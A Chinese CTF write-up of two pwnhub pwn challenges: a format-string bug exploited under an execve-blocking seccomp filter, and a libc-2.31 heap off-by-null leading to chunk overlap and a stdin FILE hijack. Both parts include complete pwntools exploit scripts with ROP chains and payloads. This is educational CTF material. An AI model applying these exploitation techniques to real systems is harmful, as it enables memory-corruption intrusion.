pwnhub的2道pwn题目，一道格式化字符串的题目，一道libc-2.31的堆题目。题目的逆向量都不大，程序分析起来比较容易，更关注的是利用的手法。下面直接进入正题。
公开赛题目
0x00 程序分析&&漏洞分析
一打开就看到了挺烦人的prctl的函数，进行了沙箱设置，使用seccomp工具进行分析
//seccomp-tools dump ./easypwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
可以看到禁用了execve函数，需要使用orw来读取flag
程序漏洞点很明确，格式化字符串的漏洞，关键代码如下：
read(0, &buf, 0x18uLL);//读取0x18的字符串到stack的buf上
strcpy((char *)&unk_202060 + 0x24 * (signed int)a1, (const char *)&buf);//复制到bss段上
printf((const char *)&unk_202060 + 0x24 * (signed int)a1, &buf);//格式化字符串漏洞
可以发现，虽然看起来是bss段上的格式化字符串漏洞，但是，首先在stack上写入了数据，所以说，就和正常的stack上的格式化字符串一样，可以任意读写，需要注意的是size=0x18，这个是比较受限的。
有了任意读写，我们可以获取到libc、pie、satck的值，但是由于沙箱规则的限制，需要写入大量的值，需要反复触发格式化字符串的漏洞，但是，如下所示，程序只给了我们2次触发机会。
signed int i;
for ( i = 0; i <= 1; ++i )
vuln(i);
然后关键的问题就落到如何构造循环上来了。
这里的思路如下：
//stack上的返回地址
.text:0000000000000D4D add [rbp+var_8], 1
//修改为
.text:0000000000000D3A mov [rbp+var_8], 0
这样的话，每第二次循环我们作如上的修改，就可以做到循环，每两次获得一次任意读写的机会。
0x01 exploit
经过上述的分析，利用思路已经相对清晰了，基本的利用步骤如下：
- 第一次触发格式化字符串漏洞来泄漏stack、pie&&libc的相关信息
- 第二次修改返回地址0x4d为0x3a，将i的值再次置0
.text:0000000000000D4D add [rbp+var_8], 1 //stack上的返回地址修改为 .text:0000000000000D3A mov [rbp+var_8], 0依此类推，获得多次的任意写。
- 在bss上写入orw的rop。
- 最后进行栈迁移执行rop，得到flag。
具体的细节可以参考下面的exp脚本。
0x02 myexp
具体的exp脚本如下，写起来还是挺繁琐的。
from pwn import *
context.log_level = 'debug'
def debug():
print pidof(p)
pause()
def write(addr,val):
value = str(val).rjust(6,'0')
#offset = str(offset).rjust(4,'0')
if val == 0:
name = '%' + '0010' + '$hn'+'a'*8 + p64(addr)
else:
name = '%' + value + 'c' + '%' + '0010' + '$hn' + p64(addr)
p.sendafter('name?',name)
p.sendlineafter("how old are you??",str(100))
#in order to the next loop
name='%'+str(0x3a)+"c"+"%10$hhnaaaaa"+p64(stack-0x18)
p.sendafter('name?',name)
p.sendlineafter("how old are you??",str(100))
def write_addr(offset,val):
write(pie+0x202500+offset,val&0xffff)
write(pie+0x202500+offset+2,(val>>16)&0xffff)
write(pie+0x202500+offset+4,(val>>32)&0xffff)
def write_stack_addr(offset,val):
write(stack+offset,val&0xffff)
write(stack+offset+2,(val>>16)&0xffff)
write(stack+offset+4,(val>>32)&0xffff)
#p=process('./easypwn')
p=remote('139.217.102.146',33865)
debug()
#leak stak libc && pie
#test 0x7ffe4279d630 0x7fcf97582840
p.sendafter('name?','%19$p%14$p%18$p')
p.recvuntil('0x')
libcbase=int(p.recv(12),16)-0x20840
log.success("libc -->"+hex(libcbase))
p.recvuntil('0x')
stack=int(p.recv(12),16)
log.success("stack -->"+hex(stack))
p.recvuntil('0x')
pie=int(p.recv(12),16)-0xd70
log.success("pie -->"+hex(pie))
p.sendlineafter("how old are you??",str(100))
debug()
## make loop \x00 -- is iok
name='%'+str(0x3a)+"c"+"%10$hhnaaaaa"+p64(stack-0x18)
p.sendafter('name?',name)
p.sendlineafter("how old are you??",str(100))
pop_rdi=0x0000000000021112+libcbase
pop_rsi=0x00000000000202f8+libcbase
pop_rdx=0x0000000000001b92+libcbase
open_addr = 0xf70f0 + libcbase
read_addr = 0xf7310 + libcbase
puts_addr = 0x6f6a0 + libcbase
leave_ret_addr = 0x0000000000042361 + libcbase
#log.success("pop_rdi is " + hex(pop_rdi))
#write(stack+8,pop_rdi&0xffff)
#write(stack+8+2,(pop_rdi>>16)&0xffff)
#write(stack+8+2+2,(pop_rdi>>32)&0xffff)
write_addr(8,pop_rdi)
write_addr(0x10,pie+0x202060)#./flag
write_addr(0x18,pop_rsi)
#write_addr(0x20,0)
write_addr(0x28,open_addr)
write_addr(0x30,pop_rdi)
write_addr(0x38,3)
write_addr(0x40,pop_rsi)
write_addr(0x48,pie+0x202060)
write_addr(0x50,pop_rdx)
write_addr(0x58,0x50)#once
write_addr(0x60,read_addr)
write_addr(0x68,pop_rdi)
write_addr(0x70,pie+0x202060)
write_addr(0x78,puts_addr)
write_stack_addr(0,pie+0x202500)
write_stack_addr(8,leave_ret_addr)
p.sendafter('name?','./flag\x00')
p.sendlineafter("how old are you??",str(100))
p.sendafter('name?','./flag\x00')
p.sendlineafter("how old are you??",str(100))
debug()
p.interactive()
//flag{48e13dc24d00405599522395a6160972}
最终拿到flag
内部赛题目
0x00 程序分析&&漏洞分析
同样的也设置了沙箱规则，禁用了execve，同样的需要orw来读取flag
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011
0004: 0x15 0x06 0x00 0x00000029 if (A == socket) goto 0011
0005: 0x15 0x05 0x00 0x0000002a if (A == connect) goto 0011
0006: 0x15 0x04 0x00 0x00000031 if (A == bind) goto 0011
0007: 0x15 0x03 0x00 0x00000032 if (A == listen) goto 0011
0008: 0x15 0x02 0x00 0x00000038 if (A == clone) goto 0011
0009: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
经典的堆菜单题目，下面对程序的基本功能进行简单的分析：
- add：添加一个堆块，要求size<=0x200，最大数量为20个，可以读入size大小的数据，add功能的限制相对比较宽松。
- exit：执行exit函数退出
- delete：这里又提供了2种选择，show和edit
这里以edit为例进行简单的分析，show和edit是完全一致的：
_free_hook = (__int64)edit;//首先是对__free_hook的值进行设置
//edit函数
void __fastcall edit(char *a1)
{
int v1; // [rsp-Ch] [rbp-Ch]
__asm { endbr64 }
_free_hook = 0LL;
v1 = *(a1 - 8) - 9;
printf("Info:");
if ( v1 > 1 ) // check
{
read(0, a1, v1 - 1);
a1[v1] = 0; // off by null
}
free(a1);
}
大致的逻辑就是设置__free_hook为edit或者show函数，先执行edit、show函数然后再free
ptr[v2] = 0LL;
size_[v2] = 0LL;
指针和size都做了清0的处理，不存在uaf的问题。
该题目的漏洞点在于上述的edit功能中。试想一下，有个大小为0x20的chunk，如果前一个堆块不是free状态，那么他的size=0x21，v1=0x21-9=0x18，写入大小0x18的数据，然后a1[0x18]=0，这里就出现了问题，off by null的漏洞。
0x01 exploit
现在整理一下思路，首先考虑泄漏地址的问题。通过数据信息的残留，可以比较轻易的获得libcbase和heap addr。那么，最关键的问题就是libc-2.31下的off by null的利用以及orw绕过沙箱机制。
off by null的利用
这里，已经有很多师傅对libc-2.31的增添的保护机制进行了深入的分析，主要是添加了presize和size的check，如果大小不一致的话，就会报错。这就使得之前版本的利用思路失效了。
这里，采用了如下的绕过思路：在chunk中伪造一个chunk，主要是伪造size、fd、bk的值，size写成presize，而fd=bk写成伪造的chunk的heap addr，如下图所示
pwndbg> x/20xg 0x55c1a0806140
0x55c1a0806140: 0x6161616161616161 0x0000000000000151
0x55c1a0806150: 0x0000000000000000 0x0000000000000371//fake chunk
0x55c1a0806160: 0x000055c1a0806150 0x000055c1a0806150
0x55c1a0806170: 0x6161616161616161 0x6161616161616161
0x55c1a0806180: 0x6161616161616161 0x6161616161616161
然后就可以正常写入presize并触发off by null的漏洞，然后free堆块，就构成chunk overlap。
orw沙箱绕过
目前我已知的libc-2.31的orw沙箱绕过思路有2种，有其他思路的师傅也欢迎交流。
一种是借助free_hook，写入一个ropgaget，将rdi转换成rdx，然后借助set_context函数来实现。就本题来说，无法利用free_hook，这里的free_hook是在bss段上的，而我们无法泄漏地址。
这里我们使用另一种利用方式，malloc_hook+io劫持来实现orw的执行。这里，推荐一篇其他师傅的分析文章，写的很详细：
link
主要的利用链是这样的：
exit函数触发-->_IO_cleanup()-->_IO_flush_all_lockp()-->_IO_str_overflow
//触发__malloc_hook
在_IO_str_overflow (FILE *fp, int c)种会调用 new_buf = malloc (new_size);
//rdi-->rdx，方便后面set_context的利用，这里的rdi就是stdin(fp)
0x7ffff7e62b65 <__GI__IO_str_overflow+53>: mov rdx,QWORD PTR [rdi+0x28]
这一部分的关键payload如下，需要绕过那些关键check都在下面做了相关注释：
payload = b'\x00'*0x28#把flag处的值设置为\x00,绕过代码中的很多check
#fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
payload += p64(stdin + 0xe0)#_IO_write_ptr && rdi+0x28-->rdx
payload = payload.ljust(0xd8,b'\x00')
payload += p64(libcbase + 0x1ed560)#_IO_str_jumps 为了执行的是_IO_str_overflow
payload += orw
payload = payload.ljust(0x1f0,b'\x00')
payload += p64(libcbase+0x0000000000580DD)#malloc_hook-->set_context
0x02 myexp
具体的exp如下所示：
from pwn import *
context.log_level='debug'
def debug():
print(pidof(p))
pause()
def choice(i):
p.sendlineafter('choice:',str(i))
def add(n,s):
choice(1)
p.sendlineafter('Size of info:',str(n))#n<=0x200
p.sendafter('Info:',s)
def show(i):
choice(2)
p.sendlineafter('index:',str(i))
choice(2)
def edit(i,s):
choice(2)
p.sendlineafter('index:',str(i))
choice(1)
p.sendafter('Info:',s)
#libc.so is correct
#p=remote('139.217.102.146',65386)
p=process('./pwn')
libc=ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
for i in range(0x8):
add(0x1f0,b'a'*0x1f0)
add(0x60+0x1a0,b'a'*0x60)#index=8 size=0x70
add(0x10,b'a'*0x10)#index=9 size=0x20
add(0x1f0,b'a'*0x1f0)#index=10 size=0x210
add(0x1f0,b'a'*0x1e0 + b'./flag\x00')#index=11 size=0x210
add(0x200,b'a'*0x200)#index=12
#leak heap address
show(0)
show(1)
add(0x1f0,b'a')
show(0)
p.recvuntil('a')
heap=u64((b'\x00'+p.recv(5)).ljust(8,b'\x00'))-(0x0000563c8e9c1200-0x563c8e9c1000)
log.success('heap address-->'+ hex(heap))
#debug()
#leak libcbase
for i in range(2,0x8):
show(i)
#add(0xe0,b'a'*8)
add(0xa0,b'a'*8)
show(0)
p.recvuntil(b'a'*8)
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-(0x00007fd0cccfbdd0-0x7fd0ccb10000)
#off by null
#only rest index=8,9,10,11
#0x100-->0x150 0x150+0xb0=0x200
add(0x140,p64(0)+p64(0x191+0x40+0x1a0)+p64(heap+(0x5609760e2190-0x5609760e1000-0x40))+p64(heap+(0x5609760e2190-0x5609760e1000-0x40)))#0
debug()
edit(9,b'a'*0x10+p64(0x190+0x40+0x1a0))
show(10)#get overlap
#orw
stdin = libcbase + (0x7f277caba980-0x7f277c8cf000)
ret=0x0000000000025679+libcbase
pop_rdi=libcbase+0x0000000000026b72
pop_rsi=libcbase+0x0000000000027529
pop_rdx_rbx=libcbase+0x0000000000162866
flag = heap + 0x565150050530 + 0x1e0 - 0x56515004f000 + 0x1a0
orw = p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(libc.symbols['open']+libcbase)
orw += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag)+p64(pop_rdx_rbx)+p64(0x50)+p64(0)+p64(libc.symbols['read']+libcbase)
orw += p64(pop_rdi)+p64(flag)+p64(libc.symbols['puts']+libcbase)
if len(orw) > 0xa0:
print("orw too long ")
pause()
orw = orw.ljust(0xa0,b'\x00')
orw += p64(stdin + 0xe0) + p64(ret)
#stdin = libcbase + (0x7f277caba980-0x7f277c8cf000)
payload = b'\x00'*0x28
payload += p64(stdin + 0xe0)#_IO_write_ptr && rdi+0x28-->rdx
payload = payload.ljust(0xd8,b'\x00')
payload += p64(libcbase + 0x1ed560)#_IO_str_jumps
payload += orw
payload = payload.ljust(0x1f0,b'\x00')
payload += p64(libcbase+0x0000000000580DD)#malloc_hook-->set_context
show(12)
show(8)
add(0x130,b'a')
add(0x50,p64(stdin))#fd-->stdin
add(0x200,b'a')
add(0x200,payload)
debug()
p.interactive()
然后拿到flag
最后，如果文中有什么错误请各位师傅指出；如果有更好的思路欢迎交流分享。